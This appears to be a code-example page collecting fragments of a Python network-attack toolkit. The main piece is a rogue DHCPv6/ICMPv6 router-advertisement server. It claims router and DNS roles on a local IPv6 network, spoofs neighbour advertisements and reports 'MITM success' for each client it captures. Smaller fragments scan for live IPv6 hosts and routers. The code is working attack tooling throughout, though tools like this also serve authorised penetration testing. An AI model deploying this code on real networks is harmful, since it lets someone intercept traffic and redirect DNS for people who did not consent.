Beispiel #1
0
# endregion

# region Main function
if __name__ == '__main__':

    # region Raw-packet modules
    path.append(dirname(dirname(dirname(abspath(__file__)))))
    from raw_packet.Utils.base import Base
    from raw_packet.Utils.network import RawEthernet, RawIPv6, RawICMPv6, RawUDP, RawDHCPv6
    from raw_packet.Utils.tm import ThreadManager

    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    ipv6: RawIPv6 = RawIPv6()
    icmpv6: RawICMPv6 = RawICMPv6()
    udp: RawUDP = RawUDP()
    dhcpv6: RawDHCPv6 = RawDHCPv6()
    # endregion

    # region Set variables
    raw_socket: socket = socket(AF_PACKET, SOCK_RAW)
    recursive_dns_address: Union[None, str] = None
    target: Dict[str, Union[None, str]] = {
        'mac_address': None,
        'ipv6_address': None
    }
    first_suffix: Union[None, str] = None
    last_suffix: Union[None, str] = None
    clients: Dict = dict()
    icmpv6_router_solicitation_address: str = '33:33:00:00:00:02'
Beispiel #2
0
class DHCPv6Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _eth: RawEthernet = RawEthernet()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _dhcpv6: RawDHCPv6 = RawDHCPv6()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv6-address': None
    }
    _clients: Dict[str, Dict[str, Union[bool, str]]] = dict()

    _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64'
    _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::'

    _first_ipv6_address_suffix: int = 2
    _last_ipv6_address_suffix: int = 65534

    _domain_search: str = 'domain.local'

    _solicit_packets_delay: float = 1

    _disable_dhcpv6: bool = False
    _exit_on_success: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._dns_server_ipv6_address: str = self._your['ipv6-link-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv6 Server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              first_ipv6_address_suffix: int = 2,
              last_ipv6_address_suffix: int = 65534,
              dns_server_ipv6_address: Union[None, str] = None,
              ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64',
              domain_search: str = 'domain.local',
              disable_dhcpv6: bool = False,
              exit_on_success: bool = False,
              quiet: bool = False) -> None:

        # region Set variables
        self._ipv6_prefix: str = ipv6_prefix
        self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0]
        self._disable_dhcpv6 = disable_dhcpv6
        self._domain_search = domain_search
        self._exit_on_success = exit_on_success
        self._quiet = quiet
        # endregion

        # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address

        # region Set target IPv6 address
        if target_mac_address is not None:
            self._target['mac-address'] = \
                self._utils.check_mac_address(mac_address=target_mac_address,
                                              parameter_name='target MAC address')
        # endregion

        # region Target IPv6 is set
        if target_ipv6_address is not None:
            assert target_mac_address is not None, \
                'Please set target MAC address for target IPv6 address: ' + \
                self._base.info_text(str(target_ipv6_address))
            self._target['ipv6-address'] = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=target_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='target IPv6 address')
            self._clients[self._target['mac-address']] = {
                'advertise address': self._target['ipv6-address']
            }
        # endregion

        # region Target IPv6 is not set - get first and last suffix IPv6 address
        else:
            # Check first suffix IPv6 address
            self._first_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=first_ipv6_address_suffix,
                                                 first_value=1,
                                                 last_value=65535,
                                                 parameter_name='first IPv6 address suffix')

            # Check last suffix IPv6 address
            self._last_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=last_ipv6_address_suffix,
                                                 first_value=self._first_ipv6_address_suffix,
                                                 last_value=65535,
                                                 parameter_name='last IPv6 address suffix')
        # endregion

        # endregion

        # region Set recursive DNS server address
        if dns_server_ipv6_address is not None:
            self._dns_server_ipv6_address = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=dns_server_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='DNS server IPv6 address',
                                               check_your_ipv6_address=False)
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])
            self._base.print_info('Your link local IPv6 address: ',
                                  self._your['ipv6-link-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ',
                                      self._target['mac-address'])
            if self._target['ipv6-address'] is not None:
                self._base.print_info('Target IPv6 address: ',
                                      self._target['ipv6-address'])
            else:
                self._base.print_info('First suffix offer IP: ',
                                      str(self._first_ipv6_address_suffix))
                self._base.print_info('Last suffix offer IP: ',
                                      str(self._last_ipv6_address_suffix))

            self._base.print_info('Prefix: ', self._ipv6_prefix)
            self._base.print_info('Router IPv6 address: ',
                                  self._your['ipv6-link-address'])
            self._base.print_info('DNS IPv6 address: ',
                                  self._dns_server_ipv6_address)
            self._base.print_info('Domain search: ', self._domain_search)
        # endregion

        # region Send ICMPv6 advertise packets in other thread
        self._thread_manager.add_task(self._send_icmpv6_advertise_packets)
        # endregion

        # region Add multicast MAC addresses on interface
        self._add_multicast_mac_addresses()
        # endregion

        # region Start Sniffer

        # region Print info message
        self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'UDP': {
                'destination-port': 547,
                'source-port': 546
            },
            'ICMPv6': {
                'types': [133, 135]
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='icmp6 or (udp and (port 547 or 546))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add multicast MAC addresses on interface
    def _add_multicast_mac_addresses(self):
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:00:00:02',
            exit_on_failure=False,
            quiet=self._quiet)
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:01:00:02',
            exit_on_failure=False,
            quiet=self._quiet)

    # endregion

    # region Add client info in global self._clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Dict[str, Union[bool, str]],
            this_client_already_in_dictionary: bool = False):
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Send ICMPv6 solicit packets
    def _send_icmpv6_solicit_packets(self):
        try:
            while True:
                icmpv6_solicit_packet = \
                    self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                            ipv6_src=self._your['ipv6-link-address'],
                                                            need_source_link_layer_address=True,
                                                            source_link_layer_address=self._eth.make_random_mac())
                self._raw_send.send_packet(icmpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Send DHCPv6 solicit packets
    def _send_dhcpv6_solicit_packets(self):
        try:
            while True:
                request_options = [23, 24]
                dhcpv6_solicit_packet = \
                    self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                     ipv6_src=self._your['ipv6-link-address'],
                                                     transaction_id=randint(1, 16777215),
                                                     client_mac_address=self._eth.make_random_mac(),
                                                     option_request_list=request_options)
                self._raw_send.send_packet(dhcpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit ....')
            exit(0)

    # endregion

    # region Send ICMPv6 advertise packets
    def _send_icmpv6_advertise_packets(self):
        icmpv6_ra_packet = \
            self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                          ethernet_dst_mac='33:33:00:00:00:01',
                                                          ipv6_src=self._your['ipv6-link-address'],
                                                          ipv6_dst='ff02::1',
                                                          dns_address=self._dns_server_ipv6_address,
                                                          domain_search=self._domain_search,
                                                          prefix=self._ipv6_prefix,
                                                          router_lifetime=5000,
                                                          advertisement_interval=
                                                          int(self._solicit_packets_delay * 1000))
        try:
            while True:
                self._raw_send.send_packet(icmpv6_ra_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Reply to DHCPv6 and ICMPv6 requests
    def _reply(self, packet):

        # region Get client MAC address
        client_mac_address: str = packet['Ethernet']['source']
        # endregion

        # region Check this client already in self._clients dictionary
        client_already_in_dictionary: bool = False
        if client_mac_address in self._clients.keys():
            client_already_in_dictionary = True
        # endregion

        # region Check MiTM status for this client
        self._check_mitm_status(client_mac_address=client_mac_address)
        # endregion

        # region ICMPv6
        if 'ICMPv6' in packet.keys():

            # region ICMPv6 Router Solicitation
            if packet['ICMPv6']['type'] == 133:

                # Make and send ICMPv6 router advertisement packet
                icmpv6_ra_packet = \
                    self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                  ethernet_dst_mac=packet['Ethernet']['source'],
                                                                  ipv6_src=self._your['ipv6-link-address'],
                                                                  ipv6_dst=packet['IPv6']['source-ip'],
                                                                  dns_address=self._dns_server_ipv6_address,
                                                                  domain_search=self._domain_search,
                                                                  prefix=self._ipv6_prefix,
                                                                  router_lifetime=5000)
                self._raw_send.send_packet(icmpv6_ra_packet)

                # Print info messages
                self._base.print_info(
                    'ICMPv6 Router Solicitation request from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')
                self._base.print_info(
                    'ICMPv6 Router Advertisement reply to: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'router solicitation': True,
                        'network prefix': self._ipv6_prefix
                    }, client_already_in_dictionary)
            # endregion

            # region ICMPv6 Neighbor Solicitation
            if packet['ICMPv6']['type'] == 135:

                # region Get ICMPv6 Neighbor Solicitation target address
                target_address: str = packet['ICMPv6']['target-address']
                na_packet: Union[None, bytes] = None
                if target_address.startswith('fe80::'):
                    if target_address == self._your['ipv6-link-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address,
                            {'neighbor solicitation your address': True},
                            client_already_in_dictionary)
                else:
                    na_packet = \
                        self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                        ipv6_src=self._your['ipv6-link-address'],
                                                                        target_ipv6_address=target_address)
                # endregion

                # region Neighbor Solicitation target address is DNS server IPv6 address
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        if target_address == self._dns_server_ipv6_address:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation dns server address':
                                    True
                                }, client_already_in_dictionary)
                # endregion

                # region Neighbor Solicitation target address not in your ipv6 prefix
                if not target_address.startswith(
                        self._ipv6_prefix_address) and na_packet is not None:
                    for _ in range(10):
                        self._raw_send.send_packet(na_packet)
                # endregion

                # region Neighbor Solicitation target address in your ipv6 prefix
                else:
                    self._add_client_info_in_dictionary(
                        client_mac_address,
                        {'neighbor solicitation in ipv6 prefix': True},
                        client_already_in_dictionary)
                # endregion

                # region DHCPv6 advertise address is set

                # This client already in dictionary
                if client_already_in_dictionary:

                    # Advertise address for this client is set
                    if 'advertise address' in self._clients[
                            client_mac_address].keys():

                        # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address
                        if target_address == self._clients[client_mac_address][
                                'advertise address']:

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation advertise address':
                                    True
                                }, client_already_in_dictionary)

                        # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address
                        elif na_packet is not None:
                            for _ in range(10):
                                self._raw_send.send_packet(na_packet)
                # endregion

            # endregion

        # endregion

        # region DHCPv6

        # Protocol DHCPv6 is enabled
        if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys():

            # region Get Client identifier and Identity Association for Non-temporary Address
            cid: Union[None, bytes] = None
            iaid: Union[None, int] = None

            for option in packet['DHCPv6']['options']:
                if option['type'] == 1:
                    cid = option['value']['raw']
                elif option['type'] == 3:
                    iaid = option['value']['iaid']

            if cid is None or iaid is None:
                self._base.print_info(
                    'Malformed DHCPv6 packet from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                return
            # endregion

            # region DHCPv6 Solicit
            if packet['DHCPv6']['message-type'] == 1:

                # Set IPv6 address in advertise packet
                try:
                    ipv6_address = self._clients[client_mac_address][
                        'advertise address']
                except KeyError:
                    if self._target['ipv6-address'] is not None:
                        ipv6_address = self._target['ipv6-address']
                    else:
                        ipv6_address = self._ipv6_prefix_address + \
                                       format(randint(self._first_ipv6_address_suffix,
                                                      self._last_ipv6_address_suffix), 'x')

                # Make and send DHCPv6 advertise packet
                dhcpv6_advertise = \
                    self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'],
                                                       ethernet_dst_mac=packet['Ethernet']['source'],
                                                       ipv6_src=self._your['ipv6-link-address'],
                                                       ipv6_dst=packet['IPv6']['source-ip'],
                                                       transaction_id=packet['DHCPv6']['transaction-id'],
                                                       dns_address=self._dns_server_ipv6_address,
                                                       domain_search=self._domain_search,
                                                       ipv6_address=ipv6_address,
                                                       cid=cid, iaid=iaid, preference=255)
                self._raw_send.send_packet(dhcpv6_advertise)

                # Print info messages
                self._base.print_info(
                    'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                self._base.print_info(
                    'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    ipv6_address)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'dhcpv6 solicit': True,
                        'advertise address': ipv6_address
                    }, client_already_in_dictionary)
            # endregion

            # region DHCPv6 Request
            if packet['DHCPv6']['message-type'] == 3:

                # Set DHCPv6 reply packet
                dhcpv6_reply: Union[None, bytes] = None

                # region Get Client DUID time, IPv6 address and Server MAC address
                client_ipv6_address: Union[None, str] = None
                server_mac_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 2:
                        server_mac_address = dhcpv6_option['value'][
                            'mac-address']
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                if server_mac_address is not None and client_ipv6_address is not None:

                    # Check Server MAC address
                    if server_mac_address != self._your['mac-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'dhcpv6 mitm':
                                'error: server mac address is not your mac address'
                            }, client_already_in_dictionary)
                    else:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {'dhcpv6 mitm': 'success'},
                            client_already_in_dictionary)
                        try:
                            if client_ipv6_address == self._clients[
                                    client_mac_address]['advertise address']:
                                dhcpv6_reply = \
                                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                                   ipv6_src=self._your['ipv6-link-address'],
                                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                                   dns_address=self._dns_server_ipv6_address,
                                                                   domain_search=self._domain_search,
                                                                   ipv6_address=client_ipv6_address,
                                                                   cid=cid)
                                self._raw_send.send_packet(dhcpv6_reply)
                            else:
                                self._add_client_info_in_dictionary(
                                    client_mac_address, {
                                        'dhcpv6 mitm':
                                        'error: client request address is not advertise address'
                                    }, client_already_in_dictionary)

                        except KeyError:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'dhcpv6 mitm':
                                    'error: not found dhcpv6 solicit request for this client'
                                }, client_already_in_dictionary)

                    # Print info messages
                    self._base.print_info(
                        'DHCPv6 Request from: ', packet['IPv6']['source-ip'] +
                        ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                        hex(packet['DHCPv6']['transaction-id']), ' Server: ',
                        server_mac_address, ' IAA: ', client_ipv6_address)

                    if dhcpv6_reply is not None:
                        self._base.print_info(
                            'DHCPv6 Reply to:     ',
                            packet['IPv6']['source-ip'] + ' (' +
                            packet['Ethernet']['source'] + ')', ' XID: ',
                            hex(packet['DHCPv6']['transaction-id']),
                            ' Server: ', server_mac_address, ' IAA: ',
                            client_ipv6_address)
                    else:
                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: server mac address is not your mac address':
                            self._base.print_error(
                                'Server MAC address in DHCPv6 Request is not your MAC address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: client request address is not advertise address':
                            self._base.print_error(
                                'Client requested IPv6 address is not advertise IPv6 address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: not found dhcpv6 solicit request for this client':
                            self._base.print_error(
                                'Could not found DHCPv6 solicit request ' +
                                'for this client: ', client_mac_address)

            # endregion

            # region DHCPv6 Release
            if packet['DHCPv6']['message-type'] == 8:
                # Print info message
                self._base.print_info(
                    'DHCPv6 Release from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass
            # endregion

            # region DHCPv6 Confirm
            if packet['DHCPv6']['message-type'] == 4:

                # region Get Client IPv6 address
                client_ipv6_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                # region Make and send DHCPv6 Reply packet
                dhcpv6_reply = \
                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                   ipv6_src=self._your['ipv6-link-address'],
                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                   dns_address=self._dns_server_ipv6_address,
                                                   domain_search=self._domain_search,
                                                   ipv6_address=client_ipv6_address,
                                                   cid=cid)
                self._raw_send.send_packet(dhcpv6_reply)
                # endregion

                # region Add Client info in global self._clients dictionary and print info message
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'advertise address': client_ipv6_address,
                        'dhcpv6 mitm': 'success'
                    }, client_already_in_dictionary)

                self._base.print_info(
                    'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                self._base.print_info(
                    'DHCPv6 Reply to:     ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                # endregion

            # endregion

        # endregion

    # endregion

    # region Check MiTM Success
    def _check_mitm_status(self, client_mac_address: str):
        try:
            if not self._disable_dhcpv6:
                assert self._clients[client_mac_address][
                    'dhcpv6 mitm'] == 'success'
                # assert self._clients[client_mac_address]['neighbor solicitation advertise address']

            else:
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        assert self._clients[client_mac_address][
                            'neighbor solicitation dns server address']

                assert self._clients[client_mac_address][
                    'neighbor solicitation your address']
                assert self._clients[client_mac_address][
                    'neighbor solicitation in ipv6 prefix']

            assert 'success message' not in self._clients[
                client_mac_address].keys()
            self._base.print_success(
                'MITM success: ',
                self._clients[client_mac_address]['advertise address'] + ' (' +
                client_mac_address + ')')
            if self._exit_on_success:
                sleep(3)
                exit(0)
            else:
                self._clients[client_mac_address].update(
                    {'success message': True})
            return True

        except KeyError:
            return False

        except AssertionError:
            return False
Beispiel #3
0
class ICMPv6Scan:

    # region Set variables
    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    ipv6: RawIPv6 = RawIPv6()
    icmpv6: RawICMPv6 = RawICMPv6()

    raw_socket: socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))

    network_interface: Union[None, str] = None
    your_mac_address: Union[None, str] = None
    your_ipv6_link_address: Union[None, str] = None
    target_mac_address: str = '33:33:00:00:00:01'

    results: List[Dict[str, str]] = list()
    unique_results: List[Dict[str, str]] = list()
    mac_addresses: List[str] = list()

    retry_number: int = 3
    timeout: int = 3

    icmpv6_identifier: int = 0

    router_info: Dict[str, Union[int, str]] = dict()
    router_search: bool = False

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        while True:
            packets = self.raw_socket.recvfrom(2048)
            for packet in packets:
                try:
                    # Parse Ethernet header
                    ethernet_header = packet[0:14]
                    ethernet_header_dict = self.eth.parse_header(
                        packet=ethernet_header)

                    # Parse Ethernet header
                    assert ethernet_header_dict is not None, 'Not Ethernet packet!'

                    # Source MAC address is target mac address
                    if not self.router_search:
                        if self.target_mac_address != '33:33:00:00:00:01':
                            assert ethernet_header_dict['source'] == self.target_mac_address, \
                                'Bad source MAC address!'

                    # Destination MAC address is your MAC address
                    if not self.router_search:
                        assert ethernet_header_dict['destination'] == self.your_mac_address, \
                            'Bad destination MAC address!'

                    # Check type of ethernet header
                    assert ethernet_header_dict[
                        'type'] == self.ipv6.header_type, 'Not IPv6 packet!'

                    # Parse IPv6 header
                    ipv6_header = packet[14:14 + self.ipv6.header_length]
                    ipv6_header_dict = self.ipv6.parse_header(ipv6_header)

                    # Check parse IPv6 header
                    assert ipv6_header_dict is not None, 'Could not parse IPv6 packet!'

                    # Check IPv6 next header type
                    assert ipv6_header_dict[
                        'next-header'] == self.icmpv6.packet_type, 'Not ICMPv6 packet!'

                    # Parse ICMPv6 packet
                    icmpv6_packet = packet[14 + self.ipv6.header_length:]
                    icmpv6_packet_dict = self.icmpv6.parse_packet(
                        packet=icmpv6_packet)

                    # Check parse ICMPv6 packet
                    assert icmpv6_packet_dict is not None, 'Could not parse ICMPv6 packet!'

                    if self.router_search:
                        # 134 Type of ICMPv6 Router Advertisement
                        assert icmpv6_packet_dict[
                            'type'] == 134, 'Not ICMPv6 Router Advertisement packet!'

                        # Save router information
                        self.router_info[
                            'router_mac_address'] = ethernet_header_dict[
                                'source']
                        self.router_info[
                            'router_ipv6_address'] = ipv6_header_dict[
                                'source-ip']
                        self.router_info['flags'] = hex(
                            icmpv6_packet_dict['flags'])
                        self.router_info['router-lifetime'] = int(
                            icmpv6_packet_dict['router-lifetime'])
                        self.router_info['reachable-time'] = int(
                            icmpv6_packet_dict['reachable-time'])
                        self.router_info['retrans-timer'] = int(
                            icmpv6_packet_dict['retrans-timer'])

                        for icmpv6_ra_option in icmpv6_packet_dict['options']:
                            if icmpv6_ra_option['type'] == 3:
                                self.router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \
                                                             str(icmpv6_ra_option['value']['prefix-length'])
                            if icmpv6_ra_option['type'] == 5:
                                self.router_info['mtu'] = int(
                                    icmpv6_ra_option['value'], 16)
                            if icmpv6_ra_option['type'] == 25:
                                self.router_info['dns-server'] = str(
                                    icmpv6_ra_option['value']['address'])

                        # Search router vendor
                        self.router_info['vendor'] = \
                            self.base.get_vendor_by_mac_address(self.router_info['router_mac_address'])

                    else:
                        # 129 Type of ICMPv6 Echo (ping) reply
                        assert icmpv6_packet_dict[
                            'type'] == 129, 'Not ICMPv6 Echo (ping) reply packet!'

                        # Check ICMPv6 Echo (ping) reply identifier
                        if icmpv6_packet_dict[
                                'identifier'] == self.icmpv6_identifier:
                            self.results.append({
                                'mac-address':
                                ethernet_header_dict['source'],
                                'ip-address':
                                ipv6_header_dict['source-ip']
                            })

                except AssertionError:
                    pass

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        self.your_mac_address: str = self.base.get_interface_mac_address(
            self.network_interface)
        self.your_ipv6_link_address: str = self.base.get_interface_ipv6_link_address(
            self.network_interface)

        send_socket: socket = socket(AF_PACKET, SOCK_RAW)
        send_socket.bind((self.network_interface, 0))

        if self.router_search:
            request: bytes = self.icmpv6.make_router_solicit_packet(
                ethernet_src_mac=self.your_mac_address,
                ipv6_src=self.your_ipv6_link_address)

        else:
            request: bytes = self.icmpv6.make_echo_request_packet(
                ethernet_src_mac=self.your_mac_address,
                ethernet_dst_mac=self.target_mac_address,
                ipv6_src=self.your_ipv6_link_address,
                ipv6_dst='ff02::1',
                id=self.icmpv6_identifier)

        for _ in range(self.retry_number):
            send_socket.send(request)
            sleep(0.1)

        send_socket.close()

    # endregion

    # region Scanner
    def scan(self,
             network_interface: str = 'eth0',
             timeout: int = 3,
             retry: int = 3,
             target_mac_address: Union[None, str] = None,
             check_vendor: bool = True,
             exit_on_failure: bool = True) -> List[Dict[str, str]]:
        """
        Find alive IPv6 hosts in local network with echo (ping) request packets
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_mac_address: Target MAC address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
        :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}])
        """

        # region Clear lists with scan results
        self.results.clear()
        self.unique_results.clear()
        self.mac_addresses.clear()
        # endregion

        # region Set variables
        if target_mac_address is not None:
            self.base.mac_address_validation(mac_address=target_mac_address,
                                             exit_on_failure=True)
            self.target_mac_address = target_mac_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        self.icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run _sniffer
        tm = ThreadManager(2)
        tm.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Get vendors
        if check_vendor:
            for result_index in range(len(self.unique_results)):
                self.unique_results[result_index]['vendor'] = \
                    self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])
        # endregion

        # region Return results
        if len(self.unique_results) == 0:
            if exit_on_failure:
                self.base.error_text(
                    'Could not found alive IPv6 hosts on interface: ' +
                    self.network_interface)
                exit(1)
        return self.unique_results
        # endregion

    # endregion

    # region Search IPv6 router
    def search_router(
            self,
            network_interface: str = 'eth0',
            timeout: int = 3,
            retry: int = 3,
            exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
        """
        Search IPv6 router in network
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param exit_on_failure: Exit if IPv6 router in network not found (default: True)
        :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'})
        """

        # region Clear lists with scan results
        self.results.clear()
        self.unique_results.clear()
        self.mac_addresses.clear()
        # endregion

        # region Set variables
        self.router_search = True
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run _sniffer
        tm = ThreadManager(2)
        tm.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Return IPv6 router information
        if len(self.router_info.keys()) == 0:
            if exit_on_failure:
                self.base.error_text(
                    'Could not found IPv6 Router on interface: ' +
                    self.network_interface)
                exit(1)
        return self.router_info
class ICMPv6RouterSearch:

    # region Set variables
    _base: Base = Base()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

